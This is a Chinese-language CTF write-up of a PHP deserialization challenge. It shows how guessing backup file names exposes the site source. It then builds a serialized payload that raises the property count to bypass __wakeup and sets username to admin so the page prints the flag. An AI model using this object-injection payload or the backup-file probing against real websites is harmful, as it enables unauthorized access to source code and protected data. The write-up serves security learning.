进入题目,就有页面提示“所以我有一个良好的备份网站的习惯”,是所以网站可能存在网站源码备份

常见的网站源码备份文件后缀:
tar.gz,zip,rar,tar
常见的网站源码备份文件名:
web,website,backup,back,www,wwwroot,temp

一个个组合尝试后,发现www.zip可以成功获得网站源码备份

下载有4个文件

666

访问一下index.php文件:

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

发现文件包含 class.php 文件 并且文件是get 传参,参数为 select

访问class.php文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

发现php文件中包含 flag.php

并且 设置两个私有变量 ,利用 __construct 构造函数 来进行一个一一对应的关系

之后__wakeup() 让 username 变量等于 guest

在类 结束的时候,调用__desctruct()函数 ,如果这个 password不等于100 ,就会输出 username…,password… ,退出函数。如果 username= admin 就会输出 flag 否则 失败。

在本题的关键,就是username的赋值 因为 __wakeup 会对userneme进行一次赋值,所以要想办法绕过该函数, 并且在一开始要给username的赋值为admin

当成员属性数目大于实际数目时可绕过wakeup方法

构造payload

1
2
3
4
5
6
7
8
9
<?php
class Name{
private $username = 'admine';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>

得到序列化字符串

O:4:”Name”:2:{s:14:”口Name口username”;s:6:”admine”;s:14:”口Name口password”;s:3:”100”;}

将空字符替换为%00

O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;s:3:”100”;}

get传输序列化payload,得到flag

666